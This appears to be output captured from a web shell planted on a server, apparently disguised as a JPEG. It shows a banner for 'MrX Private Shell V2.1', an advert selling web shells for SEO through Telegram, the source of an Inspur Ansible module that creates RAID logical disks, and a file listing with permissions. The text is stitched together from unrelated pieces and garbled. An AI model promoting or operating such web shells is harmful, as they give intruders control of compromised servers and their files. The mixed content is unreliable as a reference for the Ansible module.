����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding:utf-8 -*-
# Copyright(C) 2020 Inspur Inc. All Rights Reserved.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
DOCUMENTATION = '''
---
module: add_ldisk
version_added: "1.0.0"
author:
- WangBaoshan (@ispim)
short_description: Create logical disk
description:
- Create logical disk on Inspur server.
notes:
- Does not support C(check_mode).
options:
info:
description:
- Show controller and physical drive info.
choices: ['show']
type: str
ctrl_id:
description:
- Raid controller ID.
- Required when I(Info=None) and controller type is LSI or PMC.
type: int
level:
description:
- RAID Level, 0 - RAID0, 1 - RAID1, 5 - RAID5, 6 - RAID6, 10 - RAID10.
- Required when I(Info=None) and controller type is LSI or PMC.
choices: [0, 1, 5, 6, 10]
type: int
size:
description:
- Strip Size, 1 - 64k, 2 - 128k, 3 - 256k, 4 - 512k, 5 - 1024k.
- Required when I(Info=None) and controller type is LSI or PMC.
choices: [1, 2, 3, 4, 5]
type: int
access:
description:
- Access Policy, 1 - Read Write, 2 - Read Only, 3 - Blocked.
- Required when I(Info=None) and controller type is LSI.
choices: [1, 2, 3]
type: int
r:
description:
- Read Policy, 1 - Read Ahead, 2 - No Read Ahead.
- Required when I(Info=None) and controller type is LSI.
choices: [1, 2]
type: int
w:
description:
- Write Policy, 1 - Write Throgh, 2 - Write Back, 3 - Write caching ok if bad BBU.
- Required when I(Info=None) and controller type is LSI.
choices: [1, 2, 3]
type: int
io:
description:
- IO Policy, 1 - Direct IO, 2 - Cached IO.
- Required when I(Info=None) and controller type is LSI.
choices: [1, 2]
type: int
cache:
description:
- Drive Cache, 1 - Unchanged, 2 - Enabled,3 - Disabled.
- Required when I(Info=None) and controller type is LSI.
choices: [1, 2, 3]
type: int
init:
description:
- Init State, 1 - No Init, 2 - Quick Init, 3 - Full Init.
- Required when I(Info=None) and controller type is LSI.
choices: [1, 2, 3]
type: int
select:
description:
- Select Size, from 1 to 100.
- Required when I(Info=None) and controller type is LSI.
type: int
slot:
description:
- Slot Num,input multiple slotNumber like 0,1,2....
- Required when I(Info=None) and controller type is LSI or PMC.
type: list
elements: int
accelerator:
description:
- Driver accelerator, 1 - 1h, 2 - 2h, 3 - 3h.
- Required when I(Info=None) and controller type is PMC.
choices: [1, 2, 3]
type: int
vname:
description:
- Virtual drive name.
- Required when I(Info=None) and controller type is PMC or server model is M7.
type: str
extends_documentation_fragment:
- inspur.ispim.ism
'''
EXAMPLES = '''
- name: Add ldisk test
hosts: ism
connection: local
gather_facts: no
vars:
ism:
host: "{{ ansible_ssh_host }}"
username: "{{ username }}"
password: "{{ password }}"
tasks:
- name: "Show pdisk information"
inspur.ispim.add_ldisk:
info: "show"
provider: "{{ ism }}"
- name: "Add ldisk"
inspur.ispim.add_ldisk:
ctrl_id: 0
level: 1
size: 1
access: 1
r: 1
w: 1
io: 1
cache: 1
init: 2
select: 10
slot: 0,1
provider: "{{ ism }}"
- name: "Add PMC ldisk"
inspur.ispim.add_ldisk:
ctrl_id: 0
level: 1
size: 1
accelerator: 1
slot: 0,1
vname: "test"
provider: "{{ ism }}"
'''
RETURN = '''
message:
description: Messages returned after module execution.
returned: always
type: str
state:
description: Status after module execution.
returned: always
type: str
changed:
description: Check to see if a change was made on the device.
returned: always
type: bool
'''
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.inspur.ispim.plugins.module_utils.ism import (ism_argument_spec, get_connection)
class Disk(object):
def __init__(self, argument_spec):
self.spec = argument_spec
self.module = None
self.init_module()
self.results = dict()
def init_module(self):
"""Init module object"""
self.module = AnsibleModule(
argument_spec=self.spec, supports_check_mode=False)
def run_command(self):
self.module.params['subcommand'] = 'addldisk'
self.results = get_connection(self.module)
if self.results['State'] == 'Success':
self.results['changed'] = True
def show_result(self):
"""Show result"""
self.module.exit_json(**self.results)
def work(self):
"""Worker"""
self.run_command()
self.show_result()
def main():
argument_spec = dict(
info=dict(type='str', required=False, choices=['show']),
ctrl_id=dict(type='int', required=False),
level=dict(type='int', required=False, choices=[0, 1, 5, 6, 10]),
size=dict(type='int', required=False, choices=[1, 2, 3, 4, 5]),
access=dict(type='int', required=False, choices=[1, 2, 3]),
r=dict(type='int', required=False, choices=[1, 2]),
w=dict(type='int', required=False, choices=[1, 2, 3]),
io=dict(type='int', required=False, choices=[1, 2]),
cache=dict(type='int', required=False, choices=[1, 2, 3]),
init=dict(type='int', required=False, choices=[1, 2, 3]),
select=dict(type='int', required=False),
slot=dict(type='list', elements='int', required=False),
accelerator=dict(type='int', required=False, choices=[1, 2, 3]),
vname=dict(type='str', required=False),
)
argument_spec.update(ism_argument_spec)
disk_obj = Disk(argument_spec)
disk_obj.work()
if __name__ == '__main__':
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| ad_group.py | File | 3.98 KB | 0644 |
|
| ad_group_info.py | File | 2.21 KB | 0644 |
|
| ad_info.py | File | 2.17 KB | 0644 |
|
| adapter_info.py | File | 3 KB | 0644 |
|
| add_ldisk.py | File | 6.29 KB | 0644 |
|
| alert_policy_info.py | File | 2.17 KB | 0644 |
|
| audit_log_info.py | File | 3.02 KB | 0644 |
|
| auto_capture_info.py | File | 2.23 KB | 0644 |
|
| backplane_info.py | File | 2.21 KB | 0644 |
|
| backup.py | File | 3.24 KB | 0644 |
|
| bios_export.py | File | 2.4 KB | 0644 |
|
| bios_import.py | File | 2.49 KB | 0644 |
|
| bios_info.py | File | 2.14 KB | 0644 |
|
| bmc_info.py | File | 2.16 KB | 0644 |
|
| boot_image_info.py | File | 2.21 KB | 0644 |
|
| boot_option_info.py | File | 2.17 KB | 0644 |
|
| clear_audit_log.py | File | 2.29 KB | 0644 |
|
| clear_event_log.py | File | 2.27 KB | 0644 |
|
| clear_system_log.py | File | 2.77 KB | 0644 |
|
| collect_blackbox.py | File | 2.4 KB | 0644 |
|
| collect_log.py | File | 2.41 KB | 0644 |
|
| connect_media_info.py | File | 2.26 KB | 0644 |
|
| cpu_info.py | File | 2.14 KB | 0644 |
|
| del_session.py | File | 2.46 KB | 0644 |
|
| dns_info.py | File | 2.14 KB | 0644 |
|
| download_auto_screenshot.py | File | 2.42 KB | 0644 |
|
| download_manual_screenshot.py | File | 2.43 KB | 0644 |
|
| edit_ad.py | File | 4.02 KB | 0644 |
|
| edit_alert_policy.py | File | 3.98 KB | 0644 |
|
| edit_auto_capture.py | File | 2.53 KB | 0644 |
|
| edit_bios.py | File | 3.03 KB | 0644 |
|
| edit_boot_image.py | File | 2.62 KB | 0644 |
|
| edit_boot_option.py | File | 2.96 KB | 0644 |
|
| edit_connect_media.py | File | 3.04 KB | 0644 |
|
| edit_dns.py | File | 6.65 KB | 0644 |
|
| edit_event_log_policy.py | File | 2.54 KB | 0644 |
|
| edit_fan.py | File | 2.95 KB | 0644 |
|
| edit_fru.py | File | 3.06 KB | 0644 |
|
| edit_ipv4.py | File | 4.34 KB | 0644 |
|
| edit_ipv6.py | File | 4.5 KB | 0644 |
|
| edit_kvm.py | File | 6.26 KB | 0644 |
|
| edit_ldap.py | File | 5.03 KB | 0644 |
|
| edit_ldisk.py | File | 3.72 KB | 0644 |
|
| edit_log_setting.py | File | 4.43 KB | 0644 |
|
| edit_m6_log_setting.py | File | 4.73 KB | 0644 |
|
| edit_manual_capture.py | File | 2.53 KB | 0644 |
|
| edit_media_instance.py | File | 4.91 KB | 0644 |
|
| edit_ncsi.py | File | 3.48 KB | 0644 |
|
| edit_network.py | File | 2.87 KB | 0644 |
|
| edit_network_bond.py | File | 3.1 KB | 0644 |
|
| edit_network_link.py | File | 3.69 KB | 0644 |
|
| edit_ntp.py | File | 4.56 KB | 0644 |
|
| edit_pdisk.py | File | 5.7 KB | 0644 |
|
| edit_power_budget.py | File | 7.53 KB | 0644 |
|
| edit_power_restore.py | File | 2.57 KB | 0644 |
|
| edit_power_status.py | File | 2.64 KB | 0644 |
|
| edit_preserve_config.py | File | 3.52 KB | 0644 |
|
| edit_psu_config.py | File | 2.72 KB | 0644 |
|
| edit_psu_peak.py | File | 2.82 KB | 0644 |
|
| edit_restore_factory_default.py | File | 3.41 KB | 0644 |
|
| edit_service.py | File | 4.48 KB | 0644 |
|
| edit_smtp.py | File | 6.26 KB | 0644 |
|
| edit_smtp_com.py | File | 5.6 KB | 0644 |
|
| edit_smtp_dest.py | File | 3.21 KB | 0644 |
|
| edit_snmp.py | File | 5.6 KB | 0644 |
|
| edit_snmp_trap.py | File | 6.2 KB | 0644 |
|
| edit_threshold.py | File | 3.4 KB | 0644 |
|
| edit_uid.py | File | 2.67 KB | 0644 |
|
| edit_virtual_media.py | File | 5.26 KB | 0644 |
|
| edit_vlan.py | File | 3.28 KB | 0644 |
|
| event_log_info.py | File | 3 KB | 0644 |
|
| event_log_policy_info.py | File | 2.23 KB | 0644 |
|
| fan_info.py | File | 2.14 KB | 0644 |
|
| fru_info.py | File | 2.15 KB | 0644 |
|
| fw_version_info.py | File | 2.22 KB | 0644 |
|
| gpu_info.py | File | 2.19 KB | 0644 |
|
| hard_disk_info.py | File | 2.2 KB | 0644 |
|
| kvm_info.py | File | 2.14 KB | 0644 |
|
| ldap_group.py | File | 3.93 KB | 0644 |
|
| ldap_group_info.py | File | 2.2 KB | 0644 |
|
| ldap_info.py | File | 2.16 KB | 0644 |
|
| ldisk_info.py | File | 2.19 KB | 0644 |
|
| log_setting_info.py | File | 2.23 KB | 0644 |
|
| media_instance_info.py | File | 2.26 KB | 0644 |
|
| mem_info.py | File | 2.17 KB | 0644 |
|
| ncsi_info.py | File | 2.16 KB | 0644 |
|
| network_bond_info.py | File | 2.2 KB | 0644 |
|
| network_info.py | File | 2.18 KB | 0644 |
|
| network_link_info.py | File | 2.2 KB | 0644 |
|
| ntp_info.py | File | 2.15 KB | 0644 |
|
| onboard_disk_info.py | File | 2.2 KB | 0644 |
|
| pcie_info.py | File | 2.16 KB | 0644 |
|
| pdisk_info.py | File | 2.19 KB | 0644 |
|
| power_budget_info.py | File | 2.21 KB | 0644 |
|
| power_consumption_info.py | File | 2.25 KB | 0644 |
|
| power_restore_info.py | File | 2.22 KB | 0644 |
|
| power_status_info.py | File | 2.21 KB | 0644 |
|
| preserve_config_info.py | File | 2.23 KB | 0644 |
|
| psu_config_info.py | File | 2.19 KB | 0644 |
|
| psu_info.py | File | 2.14 KB | 0644 |
|
| psu_peak_info.py | File | 2.18 KB | 0644 |
|
| raid_info.py | File | 2.21 KB | 0644 |
|
| reset_bmc.py | File | 2.23 KB | 0644 |
|
| reset_kvm.py | File | 2.23 KB | 0644 |
|
| restore.py | File | 2.89 KB | 0644 |
|
| self_test_info.py | File | 2.18 KB | 0644 |
|
| sensor_info.py | File | 2.18 KB | 0644 |
|
| server_info.py | File | 2.21 KB | 0644 |
|
| service_info.py | File | 2.19 KB | 0644 |
|
| session_info.py | File | 2.2 KB | 0644 |
|
| smtp_info.py | File | 2.16 KB | 0644 |
|
| snmp_info.py | File | 2.18 KB | 0644 |
|
| snmp_trap_info.py | File | 2.18 KB | 0644 |
|
| support_info.py | File | 2.2 KB | 0644 |
|
| system_log_info.py | File | 3.39 KB | 0644 |
|
| temp_info.py | File | 2.16 KB | 0644 |
|
| threshold_info.py | File | 2.21 KB | 0644 |
|
| uid_info.py | File | 2.14 KB | 0644 |
|
| update_cpld.py | File | 3.01 KB | 0644 |
|
| update_fw.py | File | 3.89 KB | 0644 |
|
| user.py | File | 4.14 KB | 0644 |
|
| user_group.py | File | 5.82 KB | 0644 |
|
| user_group_info.py | File | 2.21 KB | 0644 |
|
| user_info.py | File | 2.16 KB | 0644 |
|
| virtual_media_info.py | File | 2.21 KB | 0644 |
|
| volt_info.py | File | 2.16 KB | 0644 |
|